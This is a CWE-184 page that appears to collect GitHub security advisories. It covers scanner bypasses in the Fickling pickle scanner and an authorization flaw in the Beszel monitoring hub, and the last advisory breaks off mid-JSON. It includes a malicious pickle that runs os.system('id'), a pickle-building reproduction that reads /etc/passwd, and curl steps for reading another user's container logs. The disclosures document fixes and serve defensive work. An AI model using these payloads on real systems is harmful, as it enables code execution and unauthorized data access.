CWE-184
AllowedIncomplete List of Disallowed Inputs
Abstraction: Base · Status: Draft
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
366 vulnerabilities reference this CWE, most recent first.
GHSA-565G-HWWR-4PP3
Vulnerability from github – Published: 2025-12-15 23:35 – Updated: 2025-12-20 02:30Fickling Assessment
Based on the test case provided in the original report below, this bypass was caused by marshal and types missing from the block list of unsafe module imports, Fickling started blocking both modules to address this issue. This was fixed in https://github.com/trailofbits/fickling/pull/186. The crash is unrelated and has no security impact—it will be addressed separately.
Original report
Summary
There's missing detection for the python modules, marshal.loads and types.FunctionType and Fickling throws unhandled ValueErrors when the stack is deliberately exhausted.
Details
Fickling simply doesn't have the aforementioned modules in its list of unsafe imports and therefore it fails to get detected.
PoC
The following is a disassembled view of a malicious pickle file that uses these modules:
0: \x80 PROTO 4
2: \x95 FRAME 0
11: \x8c SHORT_BINUNICODE 'marshal'
20: \x8c SHORT_BINUNICODE 'loads'
27: \x93 STACK_GLOBAL
28: \x94 MEMOIZE (as 0)
29: h BINGET 0
31: C SHORT_BINBYTES b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xf30\x00\x00\x00\x95\x00S\x00S\x01K\x00r\x00\\\x00R\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"\x00S\x025\x01\x00\x00\x00\x00\x00\x00 \x00g\x01)\x03\xe9\x00\x00\x00\x00N\xda\x02id)\x02\xda\x02os\xda\x06system\xa9\x00\xf3\x00\x00\x00\x00\xda\x08<string>\xda\x08<module>r\t\x00\x00\x00\x01\x00\x00\x00s\x13\x00\x00\x00\xf0\x03\x01\x01\x01\xe3\x00\t\xd8\x00\x02\x87\t\x82\t\x88$\x85\x0fr\x07\x00\x00\x00'
198: \x85 TUPLE1
199: R REDUCE
200: \x94 MEMOIZE (as 1)
201: \x8c SHORT_BINUNICODE 'types'
208: \x8c SHORT_BINUNICODE 'FunctionType'
222: \x93 STACK_GLOBAL
223: \x94 MEMOIZE (as 2)
224: h BINGET 2
226: h BINGET 1
228: } EMPTY_DICT
229: \x86 TUPLE2
230: R REDUCE
231: \x94 MEMOIZE (as 3)
232: h BINGET 3
234: ) EMPTY_TUPLE
235: R REDUCE
236: \x94 MEMOIZE (as 4)
237: \x8c SHORT_BINUNICODE 'gottem'
245: b BUILD
246: . STOP
```
When analyzing this modified file, safety_result.json shows:
{ "severity": "LIKELY_SAFE", "analysis": "Warning: Fickling failed to detect any overtly unsafe code,but the pickle file may still be unsafe.Do not unpickle this file if it is from an untrusted source!\n\n", "detailed_results": {} }
Furthermore, when we run `fickling -s <path_to_malicious_file>`, we also encounter this error:
Traceback (most recent call last): File "/fickling", line 7, in sys.exit(main()) ^^^^^^ File "/fickling/cli.py", line 163, in main safety_results = check_safety(pickled, json_output_path=json_output_path) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/fickling/analysis.py", line 408, in check_safety results = analyzer.analyze(pickled) ^^^^^^^^^^^^^^^^^^^^^^^^^ File "/fickling/analysis.py", line 65, in analyze context.analyze(a) File "/fickling/analysis.py", line 31, in analyze results = list(analysis.analyze(self)) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/fickling/analysis.py", line 196, in analyze for node in context.pickled.non_standard_imports(): ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/fickling/fickle.py", line 826, in non_standard_imports for node in self.properties.imports: ^^^^^^^^^^^^^^^ File "/fickling/fickle.py", line 777, in properties self._properties.visit(self.ast) ^^^^^^^^ File "/fickling/fickle.py", line 833, in ast self._ast = Interpreter.interpret(self) ^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/fickling/fickle.py", line 1001, in interpret return Interpreter(pickled).to_ast() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/fickling/fickle.py", line 927, in to_ast self.run() File "/fickling/fickle.py", line 971, in run self.step() File "/fickling/fickle.py", line 989, in step opcode.run(self) File "/fickling/fickle.py", line 1767, in run raise ValueError("Exhausted the stack while searching for a MarkObject!") ValueError: Exhausted the stack while searching for a MarkObject! ```
Impact
This allows an attacker to craft a malicious pickle file that can bypass fickling since it misses detections for types.FunctionType and marshal.loads. A user who deserializes such a file, believing it to be safe, would inadvertently execute arbitrary code on their system. This impacts any user or system that uses Fickling to vet pickle files for security issues.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "fickling"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-67747"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-15T23:35:55Z",
"nvd_published_at": "2025-12-16T01:15:52Z",
"severity": "HIGH"
},
"details": "## Fickling Assessment\n\nBased on the test case provided in the original report below, this bypass was caused by `marshal` and `types` missing from the block list of unsafe module imports, Fickling started blocking both modules to address this issue. This was fixed in https://github.com/trailofbits/fickling/pull/186. The crash is unrelated and has no security impact\u2014it will be addressed separately.\n\n## Original report\n\n### Summary\nThere\u0027s missing detection for the python modules, `marshal.loads` and `types.FunctionType` and Fickling throws unhandled ValueErrors when the stack is deliberately exhausted.\n\n### Details\nFickling simply doesn\u0027t have the aforementioned modules in its list of unsafe imports and therefore it fails to get detected.\n\n### PoC\nThe following is a disassembled view of a malicious pickle file that uses these modules:\n```\n 0: \\x80 PROTO 4\n 2: \\x95 FRAME 0\n 11: \\x8c SHORT_BINUNICODE \u0027marshal\u0027\n 20: \\x8c SHORT_BINUNICODE \u0027loads\u0027\n 27: \\x93 STACK_GLOBAL\n 28: \\x94 MEMOIZE (as 0)\n 29: h BINGET 0\n 31: C SHORT_BINBYTES b\u0027\\xe3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf30\\x00\\x00\\x00\\x95\\x00S\\x00S\\x01K\\x00r\\x00\\\\\\x00R\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\\x00S\\x025\\x01\\x00\\x00\\x00\\x00\\x00\\x00 \\x00g\\x01)\\x03\\xe9\\x00\\x00\\x00\\x00N\\xda\\x02id)\\x02\\xda\\x02os\\xda\\x06system\\xa9\\x00\\xf3\\x00\\x00\\x00\\x00\\xda\\x08\u003cstring\u003e\\xda\\x08\u003cmodule\u003er\\t\\x00\\x00\\x00\\x01\\x00\\x00\\x00s\\x13\\x00\\x00\\x00\\xf0\\x03\\x01\\x01\\x01\\xe3\\x00\\t\\xd8\\x00\\x02\\x87\\t\\x82\\t\\x88$\\x85\\x0fr\\x07\\x00\\x00\\x00\u0027\n 198: \\x85 TUPLE1\n 199: R REDUCE\n 200: \\x94 MEMOIZE (as 1)\n 201: \\x8c SHORT_BINUNICODE \u0027types\u0027\n 208: \\x8c SHORT_BINUNICODE \u0027FunctionType\u0027\n 222: \\x93 STACK_GLOBAL\n 223: \\x94 MEMOIZE (as 2)\n 224: h BINGET 2\n 226: h BINGET 1\n 228: } EMPTY_DICT\n 229: \\x86 TUPLE2\n 230: R REDUCE\n 231: \\x94 MEMOIZE (as 3)\n 232: h BINGET 3\n 234: ) EMPTY_TUPLE\n 235: R REDUCE\n 236: \\x94 MEMOIZE (as 4)\n 237: \\x8c SHORT_BINUNICODE \u0027gottem\u0027\n 245: b BUILD\n 246: . STOP\n ```\n\nWhen analyzing this modified file, safety_result.json shows:\n```\n{\n \"severity\": \"LIKELY_SAFE\",\n \"analysis\": \"Warning: Fickling failed to detect any overtly unsafe code,but the pickle file may still be unsafe.Do not unpickle this file if it is from an untrusted source!\\n\\n\",\n \"detailed_results\": {}\n}\n```\n\nFurthermore, when we run `fickling -s \u003cpath_to_malicious_file\u003e`, we also encounter this error:\n```\nTraceback (most recent call last):\n File \"\u003cpath\u003e/fickling\", line 7, in \u003cmodule\u003e\n sys.exit(main())\n ^^^^^^\n File \"\u003cpath\u003e/fickling/cli.py\", line 163, in main\n safety_results = check_safety(pickled, json_output_path=json_output_path)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"\u003cpath\u003e/fickling/analysis.py\", line 408, in check_safety\n results = analyzer.analyze(pickled)\n ^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"\u003cpath\u003e/fickling/analysis.py\", line 65, in analyze\n context.analyze(a)\n File \"\u003cpath\u003e/fickling/analysis.py\", line 31, in analyze\n results = list(analysis.analyze(self))\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"\u003cpath\u003e/fickling/analysis.py\", line 196, in analyze\n for node in context.pickled.non_standard_imports():\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"\u003cpath\u003e/fickling/fickle.py\", line 826, in non_standard_imports\n for node in self.properties.imports:\n ^^^^^^^^^^^^^^^\n File \"\u003cpath\u003e/fickling/fickle.py\", line 777, in properties\n self._properties.visit(self.ast)\n ^^^^^^^^\n File \"\u003cpath\u003e/fickling/fickle.py\", line 833, in ast\n self._ast = Interpreter.interpret(self)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"\u003cpath\u003e/fickling/fickle.py\", line 1001, in interpret\n return Interpreter(pickled).to_ast()\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File \"\u003cpath\u003e/fickling/fickle.py\", line 927, in to_ast\n self.run()\n File \"\u003cpath\u003e/fickling/fickle.py\", line 971, in run\n self.step()\n File \"\u003cpath\u003e/fickling/fickle.py\", line 989, in step\n opcode.run(self)\n File \"\u003cpath\u003e/fickling/fickle.py\", line 1767, in run\n raise ValueError(\"Exhausted the stack while searching for a MarkObject!\")\nValueError: Exhausted the stack while searching for a MarkObject!\n```\n\n### Impact\nThis allows an attacker to craft a malicious pickle file that can bypass fickling since it misses detections for `types.FunctionType` and `marshal.loads`. A user who deserializes such a file, believing it to be safe, would inadvertently execute arbitrary code on their system. This impacts any user or system that uses Fickling to vet pickle files for security issues.",
"id": "GHSA-565g-hwwr-4pp3",
"modified": "2025-12-20T02:30:33Z",
"published": "2025-12-15T23:35:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-565g-hwwr-4pp3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67747"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/pull/186"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/commit/4e34561301bda1450268d1d7b0b2b151de33b913"
},
{
"type": "PACKAGE",
"url": "https://github.com/trailofbits/fickling"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Fickling has missing detection for marshal.loads and types.FunctionType in unsafe modules list"
}
GHSA-5CXW-W2XG-2M8H
Vulnerability from github – Published: 2026-03-13 20:58 – Updated: 2026-03-13 20:58Our assessment
We added platform to the blocklist of unsafe modules (https://github.com/trailofbits/fickling/commit/351ed4d4242b447c0ffd550bb66b40695f3f9975).
It was not possible to inject extra arguments to file without first monkey-patching platform._follow_symlinks with the pickle, as it always returns an absolute path. We independently hardened it with https://github.com/trailofbits/fickling/commit/b9e690c5a57ee9cd341de947fc6151959f4ae359 to reduce the risk of obtaining direct module references while evading detection.
https://github.com/python/cpython/blob/6d1e9ceed3e70ebc39953f5ad4f20702ffa32119/Lib/platform.py#L687-L695
target = _follow_symlinks(target)
# "file" output is locale dependent: force the usage of the C locale
# to get deterministic behavior.
env = dict(os.environ, LC_ALL='C')
try:
# -b: do not prepend filenames to output lines (brief mode)
output = subprocess.check_output(['file', '-b', target],
stderr=subprocess.DEVNULL,
env=env)
Original report
Summary
A crafted pickle invoking platform._syscmd_file, platform.architecture, or platform.libc_ver passes check_safety() with Severity.LIKELY_SAFE and zero findings. During fickling.loads(), these functions invoke subprocess.check_output with attacker-controlled arguments or read arbitrary files from disk.
Clarification: The subprocess call uses a list argument (['file', '-b', target]), not shell=True, so the attacker controls the file path argument to the file command, not the command itself. The impact is subprocess invocation with attacker-controlled arguments and information disclosure (file type probing), not arbitrary command injection.
Affected versions
<= 0.1.9 (verified on upstream HEAD as of 2026-03-04)
Non-duplication check against published Fickling GHSAs
No published advisory covers platform module false-negative bypass. This follows the same structural pattern as GHSA-5hwf-rc88-82xm (missing modules in UNSAFE_IMPORTS) but covers a distinct set of functions.
Root cause
platformnot inUNSAFE_IMPORTSdenylist.OvertlyBadEvalsskips calls imported from stdlib modules.UnusedVariablesheuristic neutralized by making call result appear used (SETITEMSpath).
Reproduction (clean upstream)
from unittest.mock import patch
import fickling
import fickling.fickle as op
from fickling.fickle import Pickled
from fickling.analysis import check_safety
pickled = Pickled([
op.Proto.create(4),
op.ShortBinUnicode('platform'),
op.ShortBinUnicode('_syscmd_file'),
op.StackGlobal(),
op.ShortBinUnicode('/etc/passwd'),
op.TupleOne(),
op.Reduce(),
op.Memoize(),
op.EmptyDict(),
op.ShortBinUnicode('init'),
op.ShortBinUnicode('x'),
op.SetItem(),
op.Mark(),
op.ShortBinUnicode('trace'),
op.BinGet(0),
op.SetItems(),
op.Stop(),
])
results = check_safety(pickled)
print(results.severity.name, len(results.results)) # LIKELY_SAFE 0
with patch('subprocess.check_output', return_value=b'ASCII text') as mock_sub:
fickling.loads(pickled.dumps())
print('subprocess called?', mock_sub.called) # True
print('args:', mock_sub.call_args[0]) # (['file', '-b', '/etc/passwd'],)
Additional affected functions (same pattern):
- platform.architecture('/etc/passwd') — calls _syscmd_file internally
- platform.libc_ver('/etc/passwd') — opens and reads arbitrary file contents
Minimal patch diff
--- a/fickling/fickle.py
+++ b/fickling/fickle.py
@@
+ "platform",
Validation after patch
- Same PoC flips to
LIKELY_OVERTLY_MALICIOUS fickling.loadsraisesUnsafeFileErrorsubprocess.check_outputis not called
Impact
- False-negative verdict:
check_safety()returnsLIKELY_SAFEwith zero findings for a pickle that invokes a subprocess with attacker-controlled arguments. - Subprocess invocation:
platform._syscmd_filecallssubprocess.check_output(['file', '-b', target])wheretargetis attacker-controlled. Thefilecommand reads file headers and returns type information, enabling file existence and type probing. - File read:
platform.libc_veropens and reads chunks of an attacker-specified file path.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.9"
},
"package": {
"ecosystem": "PyPI",
"name": "fickling"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:58:10Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Our assessment\n\nWe added `platform` to the blocklist of unsafe modules (https://github.com/trailofbits/fickling/commit/351ed4d4242b447c0ffd550bb66b40695f3f9975). \n\nIt was not possible to inject extra arguments to `file` without first monkey-patching `platform._follow_symlinks` with the pickle, as it always returns an absolute path. We independently hardened it with https://github.com/trailofbits/fickling/commit/b9e690c5a57ee9cd341de947fc6151959f4ae359 to reduce the risk of obtaining direct module references while evading detection.\n\nhttps://github.com/python/cpython/blob/6d1e9ceed3e70ebc39953f5ad4f20702ffa32119/Lib/platform.py#L687-L695\n```python\ntarget = _follow_symlinks(target)\n# \"file\" output is locale dependent: force the usage of the C locale\n# to get deterministic behavior.\nenv = dict(os.environ, LC_ALL=\u0027C\u0027)\ntry:\n # -b: do not prepend filenames to output lines (brief mode)\n output = subprocess.check_output([\u0027file\u0027, \u0027-b\u0027, target],\n stderr=subprocess.DEVNULL,\n env=env)\n```\n\n# Original report\n\n## Summary\nA crafted pickle invoking `platform._syscmd_file`, `platform.architecture`, or `platform.libc_ver` passes `check_safety()` with `Severity.LIKELY_SAFE` and zero findings. During `fickling.loads()`, these functions invoke `subprocess.check_output` with attacker-controlled arguments or read arbitrary files from disk.\n\n**Clarification:** The subprocess call uses a list argument (`[\u0027file\u0027, \u0027-b\u0027, target]`), not `shell=True`, so the attacker controls the file path argument to the `file` command, not the command itself. The impact is subprocess invocation with attacker-controlled arguments and information disclosure (file type probing), not arbitrary command injection.\n\n## Affected versions\n`\u003c= 0.1.9` (verified on upstream HEAD as of 2026-03-04)\n\n## Non-duplication check against published Fickling GHSAs\nNo published advisory covers `platform` module false-negative bypass. This follows the same structural pattern as GHSA-5hwf-rc88-82xm (missing modules in `UNSAFE_IMPORTS`) but covers a distinct set of functions.\n\n## Root cause\n1. `platform` not in `UNSAFE_IMPORTS` denylist.\n2. `OvertlyBadEvals` skips calls imported from stdlib modules.\n3. `UnusedVariables` heuristic neutralized by making call result appear used (`SETITEMS` path).\n\n## Reproduction (clean upstream)\n```python\nfrom unittest.mock import patch\nimport fickling\nimport fickling.fickle as op\nfrom fickling.fickle import Pickled\nfrom fickling.analysis import check_safety\n\npickled = Pickled([\n op.Proto.create(4),\n op.ShortBinUnicode(\u0027platform\u0027),\n op.ShortBinUnicode(\u0027_syscmd_file\u0027),\n op.StackGlobal(),\n op.ShortBinUnicode(\u0027/etc/passwd\u0027),\n op.TupleOne(),\n op.Reduce(),\n op.Memoize(),\n op.EmptyDict(),\n op.ShortBinUnicode(\u0027init\u0027),\n op.ShortBinUnicode(\u0027x\u0027),\n op.SetItem(),\n op.Mark(),\n op.ShortBinUnicode(\u0027trace\u0027),\n op.BinGet(0),\n op.SetItems(),\n op.Stop(),\n])\n\nresults = check_safety(pickled)\nprint(results.severity.name, len(results.results)) # LIKELY_SAFE 0\n\nwith patch(\u0027subprocess.check_output\u0027, return_value=b\u0027ASCII text\u0027) as mock_sub:\n fickling.loads(pickled.dumps())\n print(\u0027subprocess called?\u0027, mock_sub.called) # True\n print(\u0027args:\u0027, mock_sub.call_args[0]) # ([\u0027file\u0027, \u0027-b\u0027, \u0027/etc/passwd\u0027],)\n```\n\nAdditional affected functions (same pattern):\n- `platform.architecture(\u0027/etc/passwd\u0027)` \u2014 calls `_syscmd_file` internally\n- `platform.libc_ver(\u0027/etc/passwd\u0027)` \u2014 opens and reads arbitrary file contents\n\n## Minimal patch diff\n```diff\n--- a/fickling/fickle.py\n+++ b/fickling/fickle.py\n@@\n+ \"platform\",\n```\n\n## Validation after patch\n- Same PoC flips to `LIKELY_OVERTLY_MALICIOUS`\n- `fickling.loads` raises `UnsafeFileError`\n- `subprocess.check_output` is not called\n\n## Impact\n- **False-negative verdict:** `check_safety()` returns `LIKELY_SAFE` with zero findings for a pickle that invokes a subprocess with attacker-controlled arguments.\n- **Subprocess invocation:** `platform._syscmd_file` calls `subprocess.check_output([\u0027file\u0027, \u0027-b\u0027, target])` where `target` is attacker-controlled. The `file` command reads file headers and returns type information, enabling file existence and type probing.\n- **File read:** `platform.libc_ver` opens and reads chunks of an attacker-specified file path.",
"id": "GHSA-5cxw-w2xg-2m8h",
"modified": "2026-03-13T20:58:10Z",
"published": "2026-03-13T20:58:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-5cxw-w2xg-2m8h"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/commit/351ed4d4242b447c0ffd550bb66b40695f3f9975"
},
{
"type": "PACKAGE",
"url": "https://github.com/trailofbits/fickling"
},
{
"type": "WEB",
"url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "fickling\u0027s `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE`"
}
GHSA-5F5R-95PG-XRPM
Vulnerability from github – Published: 2026-04-10 17:32 – Updated: 2026-04-10 17:32Summary
Some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID.
System IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the containers endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string.
Affected Component
- File:
internal/hub/api.go, lines 283–361 - Endpoints:
GET /api/beszel/containers/logs?system=SYSTEM_ID&container=CONTAINER_IDGET /api/beszel/containers/info?system=SYSTEM_ID&container=CONTAINER_IDGET /api/beszel/systemd/info?system=SYSTEM_ID&service=SERVICE_NAMEPOST /api/beszel/smart/refresh?system=SYSTEM_ID- Commit: c7261b56f1bfb9ae57ef0856a0052cabb2fd3b84
Vulnerable Code
The containerRequestHandler function retrieves a system by ID but never verifies the authenticated user is a member of that system:
// internal/hub/api.go:283-305
func (h *Hub) containerRequestHandler(e *core.RequestEvent, fetchFunc func(*systems.System, string) (string, error), responseKey string) error {
systemID := e.Request.URL.Query().Get("system")
containerID := e.Request.URL.Query().Get("container")
if systemID == "" || containerID == "" {
return e.JSON(http.StatusBadRequest, map[string]string{"error": "system and container parameters are required"})
}
if !containerIDPattern.MatchString(containerID) {
return e.JSON(http.StatusBadRequest, map[string]string{"error": "invalid container parameter"})
}
system, err := h.sm.GetSystem(systemID)
// ^^^ No authorization check: e.Auth.Id is never verified against system.users
if err != nil {
return e.JSON(http.StatusNotFound, map[string]string{"error": "system not found"})
}
data, err := fetchFunc(system, containerID)
if err != nil {
return e.JSON(http.StatusNotFound, map[string]string{"error": err.Error()})
}
return e.JSON(http.StatusOK, map[string]string{responseKey: data})
}
The same pattern applies to getSystemdInfo (lines 322–340) and refreshSmartData (lines 342–361).
Meanwhile, the standard PocketBase collection API enforces proper membership checks:
// internal/hub/collections.go:56-57
systemsMemberRule := authenticatedRule + " && users.id ?= @request.auth.id"
systemMemberRule := authenticatedRule + " && system.users.id ?= @request.auth.id"
These rules are only applied to the PocketBase collection endpoints, not to the custom routes registered on apiAuth.
PoC
The proof: The standard PocketBase API returns 404 (system not found) for unassigned systems. The custom endpoints resolve the system, contact the agent, and return data — proving the authorization check is missing.
Step 1: Start the hub
cd ~/Evidence/henrygd/beszel/finding418/docker-poc/
docker compose up -d
Wait a few seconds, then verify:
curl -s http://localhost:8090/api/health
Expected: {"message":"API is healthy.","code":200,"data":{}}
Step 2: Create User A (admin)
Open http://localhost:8090 in a browser and create the first user:
- Email:
usera@test.com - Password:
testpassword1
Step 3: Create User B (readonly)
In the Beszel UI, go to Users and add a new user:
- Email:
userb@test.com - Password:
testpassword2 - Role: readonly
Step 4: Authenticate as User A
TOKEN_A=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \
-H "Content-Type: application/json" \
-d '{"identity":"usera@test.com","password":"testpassword1"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
echo "TOKEN_A=$TOKEN_A"
Step 5: Get hub public key
HUB_KEY=$(curl -s http://localhost:8090/api/beszel/getkey \
-H "Authorization: $TOKEN_A" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['key'])")
echo "HUB_KEY=$HUB_KEY"
Step 6: Create a universal token and start the agent
UTOK_A=$(curl -s "http://localhost:8090/api/beszel/universal-token?enable=1" \
-H "Authorization: $TOKEN_A" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
echo "UTOK_A=$UTOK_A"
Find the Docker network the hub is on:
NETWORK=$(docker inspect beszel-hub --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}')
echo "Network: $NETWORK"
Start the agent on the same network so the hub can reach it:
docker run -d --name beszel-agent-a \
--network "$NETWORK" \
-e HUB_URL=http://beszel-hub:8090 \
-e TOKEN="$UTOK_A" \
-e KEY="$HUB_KEY" \
henrygd/beszel-agent:latest
Wait a few seconds for the agent to register:
sleep 5
Step 7: Verify User A sees the system
curl -s http://localhost:8090/api/collections/systems/records \
-H "Authorization: $TOKEN_A" | python3 -m json.tool
You should see one system in items. Save the system ID:
SYSTEM_A_ID=$(curl -s http://localhost:8090/api/collections/systems/records \
-H "Authorization: $TOKEN_A" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['items'][0]['id'])")
echo "SYSTEM_A_ID=$SYSTEM_A_ID"
Step 8: Authenticate as User B (readonly)
TOKEN_B=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \
-H "Content-Type: application/json" \
-d '{"identity":"userb@test.com","password":"testpassword2"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
echo "TOKEN_B=$TOKEN_B"
Verify User B sees NO systems:
curl -s http://localhost:8090/api/collections/systems/records \
-H "Authorization: $TOKEN_B" | python3 -m json.tool
Expected: "totalItems": 0
Step 9: Control test — standard API blocks User B
echo "=== Standard PocketBase API ==="
curl -s -w "\nHTTP Status: %{http_code}\n" \
"http://localhost:8090/api/collections/systems/records/$SYSTEM_A_ID" \
-H "Authorization: $TOKEN_B"
Expected: 404 — RBAC correctly hides the system from User B.
Step 10: IDOR — SMART refresh (User B triggers action on User A's system)
echo "=== IDOR: POST /api/beszel/smart/refresh ==="
curl -s "http://localhost:8090/api/beszel/smart/refresh?system=$SYSTEM_A_ID" \
-X POST -H "Authorization: $TOKEN_B" | python3 -m json.tool
Expected: The hub processes the request and contacts the agent. Any response (data or agent error) proves the IDOR — compare with the 404 from Step 9.
Step 11: IDOR — Systemd info (User B reads from User A's system)
echo "=== IDOR: GET /api/beszel/systemd/info ==="
curl -s "http://localhost:8090/api/beszel/systemd/info?system=$SYSTEM_A_ID&service=sshd" \
-H "Authorization: $TOKEN_B" | python3 -m json.tool
Expected: Hub contacts the agent and returns systemd data or an agent-level error.
Step 12: IDOR — Container logs (User B reads from User A's system)
Container endpoints require a Docker container ID (12-64 hex chars). Get a real one from the agent's host:
# Get a real container ID from Docker (first 12 hex chars)
CONTAINER_ID=$(docker ps --format '{{.ID}}' | head -1)
echo "CONTAINER_ID=$CONTAINER_ID"
echo "=== IDOR: GET /api/beszel/containers/logs ==="
curl -s "http://localhost:8090/api/beszel/containers/logs?system=$SYSTEM_A_ID&container=$CONTAINER_ID" \
-H "Authorization: $TOKEN_B" | python3 -m json.tool
Step 13: IDOR — Container info (User B reads from User A's system)
echo "=== IDOR: GET /api/beszel/containers/info ==="
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM_A_ID&container=$CONTAINER_ID" \
-H "Authorization: $TOKEN_B" | python3 -m json.tool
Impact
- Container logs: Content of recent application logs, potentially including sensitive information
- Container info: Content of Docker engine API's
/containers/{id}/jsonendpoint, excluding environment variables - Systemd info: Unit properties and status for any monitored service
- SMART refresh: Trigger a SMART data update on any system
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.18.6"
},
"package": {
"ecosystem": "Go",
"name": "github.com/henrygd/beszel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.18.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40077"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T17:32:05Z",
"nvd_published_at": "2026-04-09T20:16:27Z",
"severity": "LOW"
},
"details": "## Summary\nSome API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system\u0027s ID.\n\nSystem IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the `containers` endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string.\n\n## Affected Component\n\n- **File:** `internal/hub/api.go`, lines 283\u2013361\n- **Endpoints:**\n - `GET /api/beszel/containers/logs?system=SYSTEM_ID\u0026container=CONTAINER_ID`\n - `GET /api/beszel/containers/info?system=SYSTEM_ID\u0026container=CONTAINER_ID`\n - `GET /api/beszel/systemd/info?system=SYSTEM_ID\u0026service=SERVICE_NAME`\n - `POST /api/beszel/smart/refresh?system=SYSTEM_ID`\n- **Commit:** c7261b56f1bfb9ae57ef0856a0052cabb2fd3b84\n\n## Vulnerable Code\n\nThe `containerRequestHandler` function retrieves a system by ID but never verifies the authenticated user is a member of that system:\n\n```go\n// internal/hub/api.go:283-305\nfunc (h *Hub) containerRequestHandler(e *core.RequestEvent, fetchFunc func(*systems.System, string) (string, error), responseKey string) error {\n systemID := e.Request.URL.Query().Get(\"system\")\n containerID := e.Request.URL.Query().Get(\"container\")\n\n if systemID == \"\" || containerID == \"\" {\n return e.JSON(http.StatusBadRequest, map[string]string{\"error\": \"system and container parameters are required\"})\n }\n if !containerIDPattern.MatchString(containerID) {\n return e.JSON(http.StatusBadRequest, map[string]string{\"error\": \"invalid container parameter\"})\n }\n\n system, err := h.sm.GetSystem(systemID)\n // ^^^ No authorization check: e.Auth.Id is never verified against system.users\n if err != nil {\n return e.JSON(http.StatusNotFound, map[string]string{\"error\": \"system not found\"})\n }\n\n data, err := fetchFunc(system, containerID)\n if err != nil {\n return e.JSON(http.StatusNotFound, map[string]string{\"error\": err.Error()})\n }\n\n return e.JSON(http.StatusOK, map[string]string{responseKey: data})\n}\n```\n\nThe same pattern applies to 